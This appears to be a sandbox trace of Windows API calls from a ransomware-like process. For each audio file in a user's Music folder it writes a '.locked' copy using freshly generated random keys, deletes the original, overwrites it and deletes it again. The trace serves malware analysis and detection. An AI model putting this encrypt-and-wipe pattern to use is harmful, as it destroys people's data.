	[0077.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\ckXQCN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ckxqcn.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63a89040, ftCreationTime.dwHighDateTime=0x1d4cf7d, ftLastAccessTime.dwLowDateTime=0x7953a250, ftLastAccessTime.dwHighDateTime=0x1d4ca22, ftLastWriteTime.dwLowDateTime=0x7953a250, ftLastWriteTime.dwHighDateTime=0x1d4ca22, nFileSizeHigh=0x0, nFileSizeLow=0x39b9)) returned 1
	[0077.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\dDmVhFOTxc0LmAQWyaPe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ddmvhfotxc0lmaqwyape.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fc64b40, ftCreationTime.dwHighDateTime=0x1d4caae, ftLastAccessTime.dwLowDateTime=0x3bba960, ftLastAccessTime.dwHighDateTime=0x1d4c80c, ftLastWriteTime.dwLowDateTime=0x3bba960, ftLastWriteTime.dwHighDateTime=0x1d4c80c, nFileSizeHigh=0x0, nFileSizeLow=0xc08d)) returned 1
	[0077.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\dDmVhFOTxc0LmAQWyaPe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ddmvhfotxc0lmaqwyape.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.118] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0077.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\dDmVhFOTxc0LmAQWyaPe.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ddmvhfotxc0lmaqwyape.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.119] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0077.119] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c400 | out: pbBuffer=0x1238c400) returned 1
	[0077.119] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796230 | out: pbBuffer=0x12796230) returned 1
	[0077.119] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0077.120] WriteFile (in: hFile=0xc4, lpBuffer=0x123e9000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eea5c, lpOverlapped=0x0 | out: lpBuffer=0x123e9000*, lpNumberOfBytesWritten=0x127eea5c*=0x80, lpOverlapped=0x0) returned 1
	[0077.122] SetEvent (hEvent=0x80) returned 1
	[0077.122] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0xc08d, lpOverlapped=0x0) returned 1
	[0077.124] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xc08d, lpNumberOfBytesWritten=0x127eea58, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eea58*=0xc08d, lpOverlapped=0x0) returned 1
	[0077.124] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x0, lpOverlapped=0x0) returned 1
	[0077.124] CloseHandle (hObject=0xc4) returned 1
	[0077.125] CloseHandle (hObject=0xc0) returned 1
	[0077.125] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.125] SetEvent (hEvent=0x80) returned 1
	[0077.125] SetEvent (hEvent=0x8c) returned 1
	[0077.125] SetEvent (hEvent=0xb4) returned 1
	[0077.125] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.126] SetEvent (hEvent=0xa8) returned 1
	[0077.126] SetEvent (hEvent=0xb4) returned 1
	[0077.126] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x70, lpNumberOfCharsWritten=0x127ee710, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee710*=0x70) returned 1
	[0077.128] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\dDmVhFOTxc0LmAQWyaPe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ddmvhfotxc0lmaqwyape.wav")) returned 1
	[0077.145] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.146] SetEvent (hEvent=0xa8) returned 1
	[0077.146] SetEvent (hEvent=0x8c) returned 1
	[0077.150] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.150] SetEvent (hEvent=0x8c) returned 1
	[0077.150] SetEvent (hEvent=0xb4) returned 1
	[0077.150] SetEvent (hEvent=0x80) returned 1
	[0077.150] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.151] SetEvent (hEvent=0x80) returned 1
	[0077.152] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.152] SetEvent (hEvent=0x80) returned 1
	[0077.153] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.153] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.153] SetEvent (hEvent=0x80) returned 1
	[0077.153] SetEvent (hEvent=0xb4) returned 1
	[0077.153] SetEvent (hEvent=0x8c) returned 1
	[0077.153] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.154] SetEvent (hEvent=0x8c) returned 1
	[0077.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\dDmVhFOTxc0LmAQWyaPe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ddmvhfotxc0lmaqwyape.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.154] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb6c | out: lpMode=0x127eeb6c) returned 0
	[0077.154] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eeb5c, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eeb5c*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.170] CloseHandle (hObject=0xc0) returned 1
	[0077.171] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\dDmVhFOTxc0LmAQWyaPe.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ddmvhfotxc0lmaqwyape.wav")) returned 1
	[0077.174] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\tbh-EQ2W1jTfz1UE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\tbh-eq2w1jtfz1ue.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2c88c60, ftCreationTime.dwHighDateTime=0x1d4d1cd, ftLastAccessTime.dwLowDateTime=0x30327c80, ftLastAccessTime.dwHighDateTime=0x1d4c569, ftLastWriteTime.dwLowDateTime=0x30327c80, ftLastWriteTime.dwHighDateTime=0x1d4c569, nFileSizeHigh=0x0, nFileSizeLow=0x9052)) returned 1
	[0077.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\tbh-EQ2W1jTfz1UE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\tbh-eq2w1jtfz1ue.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.174] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0077.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\tbh-EQ2W1jTfz1UE.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\tbh-eq2w1jtfz1ue.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.175] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0077.175] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3c0 | out: pbBuffer=0x1238c3c0) returned 1
	[0077.175] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796130 | out: pbBuffer=0x12796130) returned 1
	[0077.175] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.175] WriteFile (in: hFile=0xc4, lpBuffer=0x12411000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12411000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0077.177] SetEvent (hEvent=0xb4) returned 1
	[0077.177] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x9052, lpOverlapped=0x0) returned 1
	[0077.179] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x9052, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x9052, lpOverlapped=0x0) returned 1
	[0077.180] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0077.180] CloseHandle (hObject=0xc4) returned 1
	[0077.180] CloseHandle (hObject=0xc0) returned 1
	[0077.180] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.181] SetEvent (hEvent=0xb4) returned 1
	[0077.181] SetEvent (hEvent=0x8c) returned 1
	[0077.181] SetEvent (hEvent=0x80) returned 1
	[0077.181] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.181] SetEvent (hEvent=0xa8) returned 1
	[0077.181] SetEvent (hEvent=0x80) returned 1
	[0077.181] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x56, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x56) returned 1
	[0077.183] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\tbh-EQ2W1jTfz1UE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\tbh-eq2w1jtfz1ue.mp3")) returned 1
	[0077.201] SetEvent (hEvent=0x8c) returned 1
	[0077.205] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0077.206] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.206] SetEvent (hEvent=0x8c) returned 1
	[0077.206] SetEvent (hEvent=0x80) returned 1
	[0077.206] SetEvent (hEvent=0xb4) returned 1
	[0077.206] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.206] SetEvent (hEvent=0xb4) returned 1
	[0077.208] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.208] SetEvent (hEvent=0xa8) returned 1
	[0077.208] SetEvent (hEvent=0xb4) returned 1
	[0077.209] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.209] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.209] SetEvent (hEvent=0xb4) returned 1
	[0077.209] SetEvent (hEvent=0x80) returned 1
	[0077.209] SetEvent (hEvent=0x8c) returned 1
	[0077.209] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.210] SetEvent (hEvent=0x8c) returned 1
	[0077.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\tbh-EQ2W1jTfz1UE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\tbh-eq2w1jtfz1ue.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.210] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0077.210] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.226] CloseHandle (hObject=0xc0) returned 1
	[0077.226] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\tbh-EQ2W1jTfz1UE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\tbh-eq2w1jtfz1ue.mp3")) returned 1
	[0077.229] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\RqSEicX9WpQrte.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\rqseicx9wpqrte.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6e60d0, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0xda4bafd0, ftLastAccessTime.dwHighDateTime=0x1d4c5db, ftLastWriteTime.dwLowDateTime=0xda4bafd0, ftLastWriteTime.dwHighDateTime=0x1d4c5db, nFileSizeHigh=0x0, nFileSizeLow=0x134e0)) returned 1
	[0077.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\RqSEicX9WpQrte.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\rqseicx9wpqrte.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.230] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0077.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\RqSEicX9WpQrte.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\rqseicx9wpqrte.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.230] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0077.231] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0077.231] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0077.231] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0077.231] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0077.233] SetEvent (hEvent=0x80) returned 1
	[0077.233] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x134e0, lpOverlapped=0x0) returned 1
	[0077.235] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x134e0, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x134e0, lpOverlapped=0x0) returned 1
	[0077.237] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0077.237] CloseHandle (hObject=0xc4) returned 1
	[0077.237] CloseHandle (hObject=0xc0) returned 1
	[0077.237] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.238] SetEvent (hEvent=0x80) returned 1
	[0077.238] SetEvent (hEvent=0x8c) returned 1
	[0077.238] SetEvent (hEvent=0xb4) returned 1
	[0077.238] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.238] SetEvent (hEvent=0xb4) returned 1
	[0077.238] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x42) returned 1
	[0077.240] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\RqSEicX9WpQrte.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\rqseicx9wpqrte.wav")) returned 1
	[0077.257] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.258] SetEvent (hEvent=0xa8) returned 1
	[0077.258] SetEvent (hEvent=0x8c) returned 1
	[0077.262] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.263] SetEvent (hEvent=0x8c) returned 1
	[0077.263] SetEvent (hEvent=0xb4) returned 1
	[0077.263] SetEvent (hEvent=0x80) returned 1
	[0077.263] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.263] SetEvent (hEvent=0x80) returned 1
	[0077.265] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.265] SetEvent (hEvent=0x80) returned 1
	[0077.265] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.265] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.265] SetEvent (hEvent=0x80) returned 1
	[0077.266] SetEvent (hEvent=0xb4) returned 1
	[0077.266] SetEvent (hEvent=0x8c) returned 1
	[0077.266] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.266] SetEvent (hEvent=0x8c) returned 1
	[0077.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\RqSEicX9WpQrte.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\rqseicx9wpqrte.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.266] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0077.267] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.299] CloseHandle (hObject=0xc0) returned 1
	[0077.299] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\RqSEicX9WpQrte.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\rqseicx9wpqrte.wav")) returned 1
	[0077.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8132590, ftCreationTime.dwHighDateTime=0x1d4ccb2, ftLastAccessTime.dwLowDateTime=0x9bd66f10, ftLastAccessTime.dwHighDateTime=0x1d4cf72, ftLastWriteTime.dwLowDateTime=0x9bd66f10, ftLastWriteTime.dwHighDateTime=0x1d4cf72, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0077.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.302] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8132590, ftCreationTime.dwHighDateTime=0x1d4ccb2, ftLastAccessTime.dwLowDateTime=0x9bd66f10, ftLastAccessTime.dwHighDateTime=0x1d4cf72, ftLastWriteTime.dwLowDateTime=0x9bd66f10, ftLastWriteTime.dwHighDateTime=0x1d4cf72, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0077.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8132590, ftCreationTime.dwHighDateTime=0x1d4ccb2, ftLastAccessTime.dwLowDateTime=0x9bd66f10, ftLastAccessTime.dwHighDateTime=0x1d4cf72, ftLastWriteTime.dwLowDateTime=0x9bd66f10, ftLastWriteTime.dwHighDateTime=0x1d4cf72, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69238ef0, ftCreationTime.dwHighDateTime=0x1d4d4ee, ftLastAccessTime.dwLowDateTime=0x33db3be0, ftLastAccessTime.dwHighDateTime=0x1d4cb8d, ftLastWriteTime.dwLowDateTime=0x33db3be0, ftLastWriteTime.dwHighDateTime=0x1d4cb8d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5vQRN6Tiy", cAlternateFileName="5VQRN6~1")) returned 1
	[0077.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5551150, ftCreationTime.dwHighDateTime=0x1d4cbdf, ftLastAccessTime.dwLowDateTime=0x6477a080, ftLastAccessTime.dwHighDateTime=0x1d4c7b0, ftLastWriteTime.dwLowDateTime=0x6477a080, ftLastWriteTime.dwHighDateTime=0x1d4c7b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="N2wDqsSkQwq5Kxm2_r", cAlternateFileName="N2WDQS~1")) returned 1
	[0077.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a86300, ftCreationTime.dwHighDateTime=0x1d4c7b0, ftLastAccessTime.dwLowDateTime=0xf1a9e590, ftLastAccessTime.dwHighDateTime=0x1d4ca43, ftLastWriteTime.dwLowDateTime=0xf1a9e590, ftLastWriteTime.dwHighDateTime=0x1d4ca43, nFileSizeHigh=0x0, nFileSizeLow=0x8f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="OhR_BdwTJ3Ps.m4a", cAlternateFileName="OHR_BD~1.M4A")) returned 1
	[0077.302] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e36c0, ftCreationTime.dwHighDateTime=0x1d4d447, ftLastAccessTime.dwLowDateTime=0x690b5510, ftLastAccessTime.dwHighDateTime=0x1d4d3c7, ftLastWriteTime.dwLowDateTime=0x690b5510, ftLastWriteTime.dwHighDateTime=0x1d4d3c7, nFileSizeHigh=0x0, nFileSizeLow=0x4f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="QB6BvIOvY3zvR.mp3", cAlternateFileName="QB6BVI~1.MP3")) returned 1
